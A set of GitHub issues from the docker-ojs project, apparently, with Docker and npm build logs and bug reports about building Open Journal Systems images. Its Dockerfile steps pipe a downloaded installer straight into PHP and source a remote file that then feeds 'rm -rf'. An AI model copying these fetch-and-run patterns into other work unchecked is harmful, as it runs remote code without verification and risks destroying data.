npm WARN deprecated [email protected]: This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).
npm WARN deprecated [email protected]: This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).
npm WARN notice [SECURITY] mem has the following vulnerability: 1 low. Go here for more details: https://www.npmjs.com/advisories?search=mem&version=1.1.0 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.
npm WARN notice [SECURITY] js-yaml has the following vulnerabilities: 1 high, 1 moderate. Go here for more details: https://www.npmjs.com/advisories?search=js-yaml&version=3.7.0 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.
npm WARN notice [SECURITY] set-value has the following vulnerability: 1 high. Go here for more details: https://www.npmjs.com/advisories?search=set-value&version=2.0.1 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.

> [email protected] postinstall /var/www/html/node_modules/core-js
> node -e "try{require('./postinstall')}catch(e){}"

Thank you for using core-js ( https://github.com/zloirock/core-js ) for polyfilling JavaScript standard library!

The project needs your help! Please consider supporting of core-js on Open Collective or Patreon: 
> https://opencollective.com/core-js 
> https://www.patreon.com/zloirock 

Also, the author of core-js ( https://github.com/zloirock ) is looking for a good job -)


> [email protected] postinstall /var/www/html/node_modules/uglifyjs-webpack-plugin
> node lib/post_install.js

npm notice created a lockfile as package-lock.json. You should commit this file.
npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@^1.2.7 (node_modules/chokidar/node_modules/fsevents):
npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for [email protected]: wanted {"os":"darwin","arch":"any"} (current: {"os":"linux","arch":"x64"})

added 1136 packages in 20.693s

> [email protected] build /var/www/html
> cross-env NODE_ENV=production webpack --progress --hide-modules

Hash: 8712fab3a29d440e5c8e                                                              
Version: webpack 3.12.0
Time: 17615ms
           Asset     Size  Chunks                    Chunk Names
     js/build.js   781 kB       0  [emitted]  [big]  main
styles/build.css  33.1 kB       0  [emitted]         main
Removing intermediate container 2377b4ab3202
 ---> 1b072ebc71a8
Step 7/13 : RUN mkdir -p /var/www/files /run/apache2  /run/supervisord/ &&     cp config.TEMPLATE.inc.php config.inc.php &&     chown -R apache:apache /var/www/* &&     echo "0 * * * *   ojs-run-scheduled" | crontab - &&     sed -i -e '\#<Directory />#,\#</Directory>#d' /etc/apache2/httpd.conf &&     sed -i -e "s/^ServerSignature.*/ServerSignature Off/" /etc/apache2/httpd.conf
 ---> Running in e98449d8c2d9
Removing intermediate container e98449d8c2d9
 ---> d22b40a216fd
Step 8/13 : COPY exclude.list /tmp/exclude.list
COPY failed: stat /var/lib/docker/tmp/docker-builder921529967/exclude.list: no such file or directory
daniel@nuest ~/git/o2r/ojs/docker-ojs/versions/3_1_2-4/alpine/apache/php7 [master]$ pwd
/home/daniel/git/o2r/ojs/docker-ojs/versions/3_1_2-4/alpine/apache/php7

nginx

daniel@nuest php7 [master]$ docker build -t local/ojs:"3_1_2-4" .
Sending build context to Docker daemon  26.11kB
Step 1/9 : FROM alpine:3.7
 ---> 6d1ef012b567
Step 2/9 : LABEL maintainer="Public Knowledge Project <[email protected]>"
 ---> Using cache
 ---> 213f84c59507
Step 3/9 : WORKDIR /var/www/html
 ---> Using cache
 ---> c4b5c1eda630
Step 4/9 : ENV COMPOSER_ALLOW_SUPERUSER=1      SERVERNAME="localhost"          HTTPS="on"                      OJS_VERSION=3_1_2-4     OJS_CLI_INSTALL="0"             OJS_DB_HOST="localhost"         OJS_DB_USER="ojs"               OJS_DB_PASSWORD="ojs"           OJS_DB_NAME="ojs"               OJS_WEB_CONF="/etc/nginx/conf.d/ojs.conf"     OJS_CONF="/var/www/html/config.inc.php"       PACKAGES="supervisor dcron nginx php7 php7-fpm php7-cli php7-zlib php7-json                    php7-mbstring php7-tokenizer php7-simplexml php7-phar php7-openssl                    php7-curl php7-mcrypt php7-pdo_mysql php7-mysqli php7-session php7-ctype              php7-gd php7-xml php7-dom php7-iconv curl nodejs git openssl"                EXCLUDE_URL="https://raw.githubusercontent.com/pkp/docker-ojs/master/excludeVar.list"
 ---> Using cache
 ---> 6df8ccd7f6ca
Step 5/9 : RUN apk add --update --no-cache $PACKAGES &&     curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer &&     git config --global url.https://.insteadOf git:// &&     git config --global advice.detachedHead false &&     git clone --depth 1 --single-branch --branch $OJS_VERSION --progress https://github.com/pkp/ojs.git . &&     git submodule update --init --recursive >/dev/null &&     composer update -d lib/pkp --no-dev &&     composer install -d plugins/paymethod/paypal --no-dev &&     composer install -d plugins/generic/citationStyleLanguage --no-dev &&     npm install -y && npm run build &&     mkdir -p /var/www/files /run/nginx  /run/supervisord/ /etc/ssl/nginx &&     cp config.TEMPLATE.inc.php config.inc.php &&     chown -R nginx:nginx /var/www/* &&     echo "0 * * * *   ojs-run-scheduled" | crontab - &&     curl "$EXCLUDE_URL" -o ./excludeVar.list &&     source ./excludeVar.list &&     rm -rf $EXCLUDE &&     apk del --no-cache nodejs git &&     find . \( -name .gitignore -o -name .gitmodules -o -name .keepme \) -exec rm '{}' \;
 ---> Running in 950bd1d1de10
fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/main/x86_64/APKINDEX.tar.gz
fetch http://dl-cdn.alpinelinux.org/alpine/v3.7/community/x86_64/APKINDEX.tar.gz
(1/71) Installing ca-certificates (20190108-r0)
(2/71) Installing libssh2 (1.9.0-r1)
(3/71) Installing libcurl (7.61.1-r3)
(4/71) Installing curl (7.61.1-r3)
(5/71) Installing dcron (4.5-r3)
(6/71) Installing expat (2.2.8-r0)
(7/71) Installing pcre2 (10.30-r0)
(8/71) Installing git (2.15.4-r0)
(9/71) Installing pcre (8.41-r1)
(10/71) Installing nginx (1.12.2-r4)
Executing nginx-1.12.2-r4.pre-install
(11/71) Installing nodejs-npm (8.9.3-r1)
(12/71) Installing c-ares (1.13.0-r0)
(13/71) Installing libcrypto1.0 (1.0.2t-r0)
(14/71) Installing libgcc (6.4.0-r5)
(15/71) Installing http-parser (2.7.1-r1)
(16/71) Installing libssl1.0 (1.0.2t-r0)
(17/71) Installing libstdc++ (6.4.0-r5)
(18/71) Installing libuv (1.17.0-r0)
(19/71) Installing nodejs (8.9.3-r1)
(20/71) Installing openssl (1.0.2t-r0)
(21/71) Installing php7-common (7.1.33-r0)
(22/71) Installing ncurses-terminfo-base (6.0_p20171125-r1)
(23/71) Installing ncurses-terminfo (6.0_p20171125-r1)
(24/71) Installing ncurses-libs (6.0_p20171125-r1)
(25/71) Installing libedit (20170329.3.1-r3)
(26/71) Installing libxml2 (2.9.8-r1)
(27/71) Installing php7 (7.1.33-r0)
(28/71) Installing php7-ctype (7.1.33-r0)
(29/71) Installing php7-curl (7.1.33-r0)
(30/71) Installing php7-dom (7.1.33-r0)
(31/71) Installing php7-fpm (7.1.33-r0)
(32/71) Installing libxau (1.0.8-r2)
(33/71) Installing libbsd (0.8.6-r1)
(34/71) Installing libxdmcp (1.1.2-r4)
(35/71) Installing libxcb (1.12-r1)
(36/71) Installing libx11 (1.6.6-r0)
(37/71) Installing libxext (1.3.3-r2)
(38/71) Installing libice (1.0.9-r2)
(39/71) Installing libuuid (2.31.1-r0)
(40/71) Installing libsm (1.2.2-r1)
(41/71) Installing libxt (1.1.5-r1)
(42/71) Installing libxpm (3.5.12-r0)
(43/71) Installing libbz2 (1.0.6-r7)
(44/71) Installing libpng (1.6.37-r0)
(45/71) Installing freetype (2.8.1-r4)
(46/71) Installing libjpeg-turbo (1.5.3-r3)
(47/71) Installing libwebp (0.6.0-r1)
(48/71) Installing php7-gd (7.1.33-r0)
(49/71) Installing php7-iconv (7.1.33-r0)
(50/71) Installing php7-json (7.1.33-r0)
(51/71) Installing php7-mbstring (7.1.33-r0)
(52/71) Installing libmcrypt (2.5.8-r7)
(53/71) Installing php7-mcrypt (7.1.33-r0)
(54/71) Installing php7-openssl (7.1.33-r0)
(55/71) Installing php7-mysqlnd (7.1.33-r0)
(56/71) Installing php7-mysqli (7.1.33-r0)
(57/71) Installing php7-pdo (7.1.33-r0)
(58/71) Installing php7-pdo_mysql (7.1.33-r0)
(59/71) Installing php7-phar (7.1.33-r0)
(60/71) Installing php7-session (7.1.33-r0)
(61/71) Installing php7-simplexml (7.1.33-r0)
(62/71) Installing php7-tokenizer (7.1.33-r0)
(63/71) Installing php7-xml (7.1.33-r0)
(64/71) Installing libffi (3.2.1-r4)
(65/71) Installing gdbm (1.13-r1)
(66/71) Installing readline (7.0.003-r0)
(67/71) Installing sqlite-libs (3.25.3-r2)
(68/71) Installing python2 (2.7.15-r3)
(69/71) Installing py-meld3 (1.0.2-r1)
(70/71) Installing py-setuptools (33.1.1-r1)
(71/71) Installing supervisor (3.3.3-r1)
Executing busybox-1.27.2-r11.trigger
Executing ca-certificates-20190108-r0.trigger
OK: 152 MiB in 84 packages
All settings correct for using Composer
Downloading...

Composer (version 1.9.3) successfully installed to: /usr/local/bin/composer
Use it: php /usr/local/bin/composer

Cloning into '.'...
remote: Enumerating objects: 3359, done.        
remote: Counting objects: 100% (3359/3359), done.        
remote: Compressing objects: 100% (1804/1804), done.        
remote: Total 3359 (delta 954), reused 1922 (delta 635), pack-reused 0        
Receiving objects: 100% (3359/3359), 7.05 MiB | 1.20 MiB/s, done.
Resolving deltas: 100% (954/954), done.
Submodule 'docs/manual' (https://github.com/pkp/ojs-user-guide) registered for path 'docs/manual'
Submodule 'lib/pkp' (https://github.com/pkp/pkp-lib.git) registered for path 'lib/pkp'
Submodule 'lib/ui-library' (https://github.com/pkp/ui-library) registered for path 'lib/ui-library'
Submodule 'plugins/blocks/makeSubmission' (https://github.com/pkp/makeSubmission.git) registered for path 'plugins/blocks/makeSubmission'
Submodule 'plugins/generic/citationStyleLanguage' (https://github.com/pkp/citationStyleLanguage.git) registered for path 'plugins/generic/citationStyleLanguage'
Submodule 'plugins/generic/customBlockManager' (https://github.com/pkp/customBlockManager.git) registered for path 'plugins/generic/customBlockManager'
Submodule 'plugins/generic/googleAnalytics' (https://github.com/pkp/googleAnalytics.git) registered for path 'plugins/generic/googleAnalytics'
Submodule 'plugins/generic/lensGalley' (https://github.com/asmecher/lensGalley) registered for path 'plugins/generic/lensGalley'
Submodule 'plugins/generic/orcidProfile' (https://github.com/pkp/orcidProfile.git) registered for path 'plugins/generic/orcidProfile'
Submodule 'plugins/generic/pdfJsViewer' (https://github.com/pkp/pdfJsViewer.git) registered for path 'plugins/generic/pdfJsViewer'
Submodule 'plugins/generic/staticPages' (https://github.com/pkp/staticPages.git) registered for path 'plugins/generic/staticPages'
Submodule 'plugins/generic/tinymce' (https://github.com/pkp/tinymce.git) registered for path 'plugins/generic/tinymce'
Submodule 'plugins/generic/translator' (https://github.com/pkp/translator.git) registered for path 'plugins/generic/translator'
Submodule 'plugins/generic/usageStats' (https://github.com/pkp/usageStats.git) registered for path 'plugins/generic/usageStats'
Submodule 'plugins/reports/counter/classes/COUNTER' (https://github.com/ulsdevteam/COUNTER.git) registered for path 'plugins/reports/counter/classes/COUNTER'
Submodule 'plugins/reports/reviewReport' (https://github.com/pkp/reviewReport) registered for path 'plugins/reports/reviewReport'
Cloning into '/var/www/html/docs/manual'...
Cloning into '/var/www/html/lib/pkp'...
Cloning into '/var/www/html/lib/ui-library'...
Cloning into '/var/www/html/plugins/blocks/makeSubmission'...
Cloning into '/var/www/html/plugins/generic/citationStyleLanguage'...
Cloning into '/var/www/html/plugins/generic/customBlockManager'...
Cloning into '/var/www/html/plugins/generic/googleAnalytics'...
Cloning into '/var/www/html/plugins/generic/lensGalley'...
Cloning into '/var/www/html/plugins/generic/orcidProfile'...
Cloning into '/var/www/html/plugins/generic/pdfJsViewer'...
Cloning into '/var/www/html/plugins/generic/staticPages'...
Cloning into '/var/www/html/plugins/generic/tinymce'...
Cloning into '/var/www/html/plugins/generic/translator'...
Cloning into '/var/www/html/plugins/generic/usageStats'...
Cloning into '/var/www/html/plugins/reports/counter/classes/COUNTER'...
Cloning into '/var/www/html/plugins/reports/reviewReport'...
Submodule 'js/lib/jquery/plugins/spectrum' (https://github.com/bgrins/spectrum.git) registered for path 'lib/pkp/js/lib/jquery/plugins/spectrum'
Submodule 'lib/counterBots' (https://github.com/atmire/COUNTER-Robots.git) registered for path 'lib/pkp/lib/counterBots'
Cloning into '/var/www/html/lib/pkp/js/lib/jquery/plugins/spectrum'...
Cloning into '/var/www/html/lib/pkp/lib/counterBots'...
Loading composer repositories with package information
Updating dependencies
Package operations: 28 installs, 0 updates, 0 removals
  - Installing kylekatarnls/update-helper (1.2.0): Downloading (100%)         
  - Installing alex198710/pnotify (dev-master eb97db0): Cloning eb97db0d22 from cache
  - Installing firebase/php-jwt (v5.0.0): Downloading (100%)         
  - Installing ralouphie/getallheaders (3.0.3): Downloading (100%)         
  - Installing components/jquery (3.4.1): Downloading (100%)         
  - Installing components/jqueryui (1.12.1): Downloading (100%)         
  - Installing oyejorge/less.php (v1.7.0.14): Downloading (100%)         
  - Installing phpmailer/phpmailer (v6.1.4): Downloading (100%)         
  - Installing smarty/smarty (v3.1.34): Downloading (100%)         
  - Installing ezyang/htmlpurifier (v4.12.0): Downloading (100%)         
  - Installing moxiecode/plupload (v2.3.6): Downloading (100%)         
  - Installing tinymce/tinymce (4.9.8): Downloading (100%)         
  - Installing michelf/php-markdown (1.9.0): Downloading (100%)         
  - Installing psr/container (1.0.0): Downloading (100%)         
  - Installing nikic/fast-route (v1.3.0): Downloading (100%)         
  - Installing psr/http-message (1.0.1): Downloading (100%)         
  - Installing pimple/pimple (v3.2.3): Downloading (100%)         
  - Installing slim/slim (3.12.3): Downloading (100%)         
  - Installing symfony/polyfill-mbstring (v1.14.0): Downloading (100%)         
  - Installing symfony/translation (v3.4.37): Downloading (100%)         
  - Installing nesbot/carbon (1.39.1): Downloading (100%)         
  - Installing psr/simple-cache (1.0.1): Downloading (100%)         
  - Installing illuminate/contracts (v5.5.44): Downloading (100%)         
  - Installing doctrine/inflector (1.3.1): Downloading (100%)         
  - Installing illuminate/support (v5.5.44): Downloading (100%)         
  - Installing illuminate/container (v5.5.44): Downloading (100%)         
  - Installing illuminate/database (v5.5.44): Downloading (100%)         
  - Installing danielstjules/stringy (3.1.0): Downloading (100%)         
Package oyejorge/less.php is abandoned, you should avoid using it. No replacement was suggested.
Writing lock file
Generating autoload files
Carbon 1 is deprecated, see how to migrate to Carbon 2.
https://carbon.nesbot.com/docs/#api-carbon-2
    You can run '/var/www/html/lib/pkp/lib/vendor/nesbot/carbon/bin/upgrade-carbon' to get help in updating carbon and other frameworks and libraries that depend on it.
Loading composer repositories with package information
Installing dependencies from lock file
Package operations: 21 installs, 0 updates, 0 removals
  - Installing guzzlehttp/promises (v1.3.1): Downloading (100%)         
  - Installing ralouphie/getallheaders (3.0.3): Loading from cache
  - Installing psr/http-message (1.0.1): Loading from cache
  - Installing guzzlehttp/psr7 (1.6.1): Downloading (100%)         
  - Installing moneyphp/money (v3.2.1): Downloading (100%)         
  - Installing paragonie/random_compat (v9.99.99): Downloading (100%)         
  - Installing symfony/polyfill-php70 (v1.12.0): Downloading (100%)         
  - Installing symfony/polyfill-mbstring (v1.12.0): Downloading (100%)         
  - Installing symfony/http-foundation (v3.4.31): Downloading (100%)         
  - Installing php-http/message-factory (v1.0.2): Downloading (100%)         
  - Installing clue/stream-filter (v1.4.1): Downloading (100%)         
  - Installing php-http/message (1.8.0): Downloading (100%)         
  - Installing php-http/discovery (1.7.0): Downloading (100%)         
  - Installing psr/http-client (1.0.0): Downloading (100%)         
  - Installing php-http/promise (v1.0.0): Downloading (100%)         
  - Installing php-http/httplug (v2.0.0): Downloading (100%)         
  - Installing guzzlehttp/guzzle (6.3.3): Downloading (100%)         
  - Installing php-http/guzzle6-adapter (v2.0.1): Downloading (100%)         
  - Installing omnipay/common (v3.0.2): Downloading (100%)         
  - Installing omnipay/paypal (v3.0.2): Downloading (100%)         
  - Installing symfony/event-dispatcher (v2.8.50): Downloading (100%)         
Generating autoload files
Loading composer repositories with package information
Installing dependencies from lock file
Package operations: 5 installs, 0 updates, 0 removals
  - Installing citation-style-language/locales (1.0.0): Cloning master from cache
  - Installing symfony/polyfill-mbstring (v1.12.0): Loading from cache
  - Installing seboettg/collection (v1.3.1): Downloading (100%)         
  - Installing myclabs/php-enum (1.7.2): Downloading (100%)         
  - Installing seboettg/citeproc-php (v2.1.6): Downloading (100%)         
Generating autoload files
npm WARN deprecated [email protected]: Deprecated. Please use https://github.com/webpack-contrib/mini-css-extract-plugin
npm WARN notice [SECURITY] marked has the following vulnerability: 1 moderate. Go here for more details: https://www.npmjs.com/advisories?search=marked&version=0.3.19 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.
npm WARN deprecated [email protected]: core-js@<3 is no longer maintained and not recommended for usage due to the number of issues. Please, upgrade your dependencies to the actual version of core-js@3.
npm WARN deprecated [email protected]: Browserslist 2 could fail on reading Browserslist >3.0 config used in other tools.
npm WARN deprecated [email protected]: request has been deprecated, see https://github.com/request/request/issues/3142
npm WARN deprecated [email protected]: Browserslist 2 could fail on reading Browserslist >3.0 config used in other tools.
npm WARN deprecated [email protected]: This module moved to @hapi/hawk. Please make sure to switch over as this distribution is no longer supported and may contain bugs and critical security issues.
npm WARN deprecated [email protected]: CircularJSON is in maintenance only, flatted is its successor.
npm WARN notice [SECURITY] cryptiles has the following vulnerability: 1 high. Go here for more details: https://www.npmjs.com/advisories?search=cryptiles&version=2.0.5 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.
npm WARN deprecated [email protected]: This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).
npm WARN deprecated [email protected]: This module moved to @hapi/sntp. Please make sure to switch over as this distribution is no longer supported and may contain bugs and critical security issues.
npm WARN notice [SECURITY] hoek has the following vulnerability: 1 moderate. Go here for more details: https://www.npmjs.com/advisories?search=hoek&version=2.16.3 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.
npm WARN deprecated [email protected]: This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).
npm WARN deprecated [email protected]: This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).
npm WARN notice [SECURITY] js-yaml has the following vulnerabilities: 1 high, 1 moderate. Go here for more details: https://www.npmjs.com/advisories?search=js-yaml&version=3.7.0 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.
npm WARN notice [SECURITY] mem has the following vulnerability: 1 low. Go here for more details: https://www.npmjs.com/advisories?search=mem&version=1.1.0 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.
npm WARN notice [SECURITY] set-value has the following vulnerability: 1 high. Go here for more details: https://www.npmjs.com/advisories?search=set-value&version=2.0.1 - Run `npm i npm@latest -g` to upgrade your npm version, and then `npm audit` to get more info.

> [email protected] postinstall /var/www/html/node_modules/core-js
> node -e "try{require('./postinstall')}catch(e){}"

Thank you for using core-js ( https://github.com/zloirock/core-js ) for polyfilling JavaScript standard library!

The project needs your help! Please consider supporting of core-js on Open Collective or Patreon: 
> https://opencollective.com/core-js 
> https://www.patreon.com/zloirock 

Also, the author of core-js ( https://github.com/zloirock ) is looking for a good job -)


> [email protected] postinstall /var/www/html/node_modules/uglifyjs-webpack-plugin
> node lib/post_install.js

npm notice created a lockfile as package-lock.json. You should commit this file.
npm WARN optional SKIPPING OPTIONAL DEPENDENCY: fsevents@^1.2.7 (node_modules/chokidar/node_modules/fsevents):
npm WARN notsup SKIPPING OPTIONAL DEPENDENCY: Unsupported platform for [email protected]: wanted {"os":"darwin","arch":"any"} (current: {"os":"linux","arch":"x64"})

added 1136 packages in 48.294s

> [email protected] build /var/www/html
> cross-env NODE_ENV=production webpack --progress --hide-modules

Hash: 8712fab3a29d440e5c8e                                                              
Version: webpack 3.12.0
Time: 13832ms
           Asset     Size  Chunks                    Chunk Names
     js/build.js   781 kB       0  [emitted]  [big]  main
styles/build.css  33.1 kB       0  [emitted]         main
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    15  100    15    0     0     61      0 --:--:-- --:--:-- --:--:--    61
/bin/sh: ./excludeVar.list: line 1: 404:: not found
The command '/bin/sh -c apk add --update --no-cache $PACKAGES &&     curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer &&     git config --global url.https://.insteadOf git:// &&     git config --global advice.detachedHead false &&     git clone --depth 1 --single-branch --branch $OJS_VERSION --progress https://github.com/pkp/ojs.git . &&     git submodule update --init --recursive >/dev/null &&     composer update -d lib/pkp --no-dev &&     composer install -d plugins/paymethod/paypal --no-dev &&     composer install -d plugins/generic/citationStyleLanguage --no-dev &&     npm install -y && npm run build &&     mkdir -p /var/www/files /run/nginx  /run/supervisord/ /etc/ssl/nginx &&     cp config.TEMPLATE.inc.php config.inc.php &&     chown -R nginx:nginx /var/www/* &&     echo "0 * * * *   ojs-run-scheduled" | crontab - &&     curl "$EXCLUDE_URL" -o ./excludeVar.list &&     source ./excludeVar.list &&     rm -rf $EXCLUDE &&     apk del --no-cache nodejs git &&     find . \( -name .gitignore -o -name .gitmodules -o -name .keepme \) -exec rm '{}' \;' returned a non-zero code: 127
daniel@nuest php7 [master]$ pwd
/home/daniel/git/o2r/ojs/docker-ojs/versions/3_1_2-4/alpine/nginx/php7

3.3.0 still on Alpine 3.11

With commits 73fbfae and 7be2fd8, Alpine updates from 3.13.6 to 3.14 for OJS 3.0.0 to 3.1.2-4. Meanwhile 3.2.0-0 onwards, latest, main and stable-* are still at Alpine 3.11.

Container time is not sync with host

When creating a new discussion in OJS workflow, the timestamp is 2 hours and 2 minutes behind the host time.

It could be related with regional settings, but this need to be properly explained in the README file.

Lacks of Archive_Zip when enable PKP PN

OJS 3.2 and lower require zip support but this is not included in the image.
This dependence is not required in 3.3, but if you like to manually enable it in an old image, you can do it with:

$ apk add pear zip
$ pear list
$ pear install Archive_Tar
$ pear list

As far as new images don't require Archive_Tar any more, it' won't be fixed.

How do I mount /var/www/html ?

Hello, I wanna mount /var/www/html and customize the ojs.
However, everytime I try to mount /var/www/html, the container will only create a public folder in it. And nothing else.
I added the bind in volume in the docker-compose.yml
./volumes/src:/var/www/html

And it works when I didn't try to mount /var/www/html

Anyone has ideas why ?

Thank you.

The password of database user ojs is wrong!

Hi,
I just would like to drop a line for the captioned issue. The password of database user ojs should be ojs instead of ojsPwd specified in the README file. I verified this by opening the environment variable .env file located in the \docker-ojs-master\versions\3_2_0-3\alpine\apache\php73

By the way, thanks for the ojs docker!

Database encodings latin1 vs utf8

I have seen that there are many errors in the error log like:

----- PHP Notice: iconv(): Wrong charset, conversion from 'UTF-8' to 'ISO-8859-1//IGNORE' is not allowed in /var/www/html/plugins/generic/citationStyleLanguage/lib/vendor/symfony/polyfill-mbstring/Mbstring.php on line 345

I believe there is a problem with default database creation at the beginning which defaults to latin1. I solved the problem and propose to change everything to utf-8 by including volumes/config/db.charset.conf into the repo which can look as follows:

[client]
default-character-set=utf8mb4
[mysql]
default-character-set=utf8mb4
[mysqld]
collation-server = utf8mb4_unicode_ci
init-connect='SET NAMES utf8mb4'
character-set-server = utf8mb4

Source https://mariadb.com/kb/en/setting-character-sets-and-collations/.

[Environment Variables] SSL

It would be great to have a SSL environment variable.
For example OJS_SSL
The behavior of the script would be different is the variable is set to true or false (Apache config / certificate generation)

RFC: About image building process

TL;DR: We need faster image building for images if we like to use them in testing process.
We need unique names and frozen/immutable content for images.
Post opens the discussion to the community to decide how we are going to build&name images in future.


The issue #155 is related with a discussion we had with Andrew and @asmecher so long ago about images "unicity" and image naming/tagging.

Sorry in advance for the extension, but it's an important subject that we need to talk in deep.

We all agree that, if you run a 2.4.1-3 image today, you need to know for sure this image is exactly the same you tested 5 years ago... but now we can't guarantee this because we are rebuilding our images via compose, so they are changing on every new building (in other words, dockerhub images created years ago, aren't the same we got in gitLab created this month).

Just in case somebody, start blaming, I need to say that this project was in the "exploring" phase and tagged as BETA... but if we like to help improve PKP testing process, we need to move this it to a more solid and reliable level.

And YES... we are refactoring all this to improve the images (multi-stage, logs in stdout, better autobuild...) but it's time to decide how to properly tag the images and how to keep them frozen.

How?

Yesterday Andrew proposed to use the official tarballs to build images based on the released packages.
Even those distros sometimes could change, it will be much more solid than the compose-building method.

Another important positive effect of this tarball-based-image-building will be much faster process (5 minutes vs 30 seconds) and this will help a lot to use those images in final product testing or to plugin developers.

The negative side? We will only be able to generate images of packaged versions, so those images won't be useful testing the pkp core on every dev commits.

The buildScript-based-image-building has other positive effects vs images created from tarball like:
a) if gitLab/Hub build images for us, we won't need to manually package it anymore (less effort, less potential human errors)
b) it will let us release the same version dev team used during the dev testing (more tested).

Yes, 5 minutes vs 30 seconds is too much, but we still have some options to speed up the buildScript process, like improve the dockerimage or play with pipeline caches, etc.
Anyway, compose won't never be as fast as downloading the tarball release package.

About the "frozen images" issue, we also have some solutions to take in consideration (most of them complementary):
a) Add a postfix to each image build to be sure you got the same version (gitLab is doing this in our behalf).
b) Guarantee compose and dockerfile refers to the exact version of each piece of soft.
c) Avoid recreating old images.

So take this post as a kind of RFC where you can comment or propose new solutions.

Take care,
m.

Error when building 3.1.2 images

Expected Behavior

Build the docker image

Current Behavior

 29/29 [============================] 100%
  - Installing kylekatarnls/update-helper (1.2.0): Extracting archive
For additional security you should declare the allow-plugins config with a list of packages names that are allowed to run code. See https://getcomposer.org/allow-plugins
You have until July 2022 to add the setting. Composer will then switch the default behavior to disallow all plugins.
PHP Fatal error:  Class UpdateHelper\ComposerPlugin contains 2 abstract methods and must therefore be declared abstract or implement the remaining methods (Composer\Plugin\PluginInterface::deactivate, Composer\Plugin\PluginInterface::uninstall) in /var/www/html/lib/pkp/lib/vendor/kylekatarnls/update-helper/src/UpdateHelper/ComposerPlugin.php on line 11

Fatal error: Class UpdateHelper\ComposerPlugin contains 2 abstract methods and must therefore be declared abstract or implement the remaining methods (Composer\Plugin\PluginInterface::deactivate, Composer\Plugin\PluginInterface::uninstall) in /var/www/html/lib/pkp/lib/vendor/kylekatarnls/update-helper/src/UpdateHelper/ComposerPlugin.php on line 11
The command '/bin/sh -c set -xe         && apk add --no-cache --virtual .build-deps $BUILDERS   && apk add --no-cache $PACKAGES         && apk add --no-cache $PHP_EXTENSIONS   && git config --global url.https://.insteadOf git://       && git config --global advice.detachedHead false        && git clone --depth 1 --single-branch --branch $OJS_VERSION --progress https://github.com/pkp/ojs.git .        && git submodule update --init --recursive >/dev/null      && curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer.phar    && composer.phar --working-dir=lib/pkp install --no-dev    && composer.phar --working-dir=plugins/paymethod/paypal install --no-dev        && composer.phar --working-dir=plugins/generic/citationStyleLanguage install --no-dev   && npm install -y && npm run build         && mkdir -p /var/www/files /run/apache2  /run/supervisord/      && cp config.TEMPLATE.inc.php config.inc.php    && chown -R apache:apache /var/www/*    && ln -s /usr/share/fonts/TTF/FreeSerif.ttf /usr/share/fonts/FreeSerif.ttf         && echo "0 * * * *   ojs-run-scheduled" | crontab -     && sed -i -e '\#<Directory />#,\#</Directory>#d' /etc/apache2/httpd.conf        && sed -i -e "s/^ServerSignature.*/ServerSignature Off/" /etc/apache2/httpd.conf   && cd /var/www/html     && rm -rf $(cat /tmp/exclude.list)      && apk del --no-cache .build-deps       && rm -rf /tmp/*  && rm -rf /root/.cache/*         && find . -name ".git" -exec rm -Rf '{}' \;     && find . -name ".travis.yml" -exec rm -Rf '{}' \;      && find . -name "test" -exec rm -Rf '{}' \;     && find . \( -name .gitignore -o -name .gitmodules -o -name .keepme \) -exec rm -Rf '{}' \;' returned a non-zero code: 255

To reproduce:

  1. Go to versions/3_1_2-4/alpine/apache/php/
  2. Run docker build -t local/ojs:3_1_2-4 .

Potential Solutions:

https://stackoverflow.com/questions/61236961/composer-dump-autoload-or-update-results-in-fatal-error-on-laravel-5-5
kylekatarnls/update-helper#7

OJS - Building local images Error

Hello,

I have a problem to "Building local images" from the code introduction. I tried the statement (in my terminal): "docker build -t local/ojs:3_2_0-1 ." in the folder /versions/3_2_0-1/alpine/apache/php73 but I get the error in the picture.

If somebody could help me, I would appreciate it.

Error

Failed to build Dockerfile stable-3_3_1

Expected Behavior

Build the dockerfile

Current Behavior

+ git config --global url.https://.insteadOf git://
+ git config --global advice.detachedHead false
+ git clone --depth 1 --single-branch --branch stable-3_3_1 --progress https://github.com/pkp/ojs.git .
Cloning into '.'...
warning: Could not find remote branch stable-3_3_1 to clone.
fatal: Remote branch stable-3_3_1 not found in upstream origin

Steps to Reproduce

  1. Go to versions/stable-3_3_1/alpine/apache/php73
  2. Run docker build -t local/ojs:stable-3_3_1 .

Details

The branch stable-3_3_1 doesn't exist on ojs main repository

Context (Environment)

$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux bookworm/sid
Release:        testing
Codename:       bookworm

$ uname -a
Linux alohomora 5.14.0-1-amd64 #1 SMP Debian 5.14.6-2 (2021-09-19) x86_64 GNU/Linux

$ docker -v
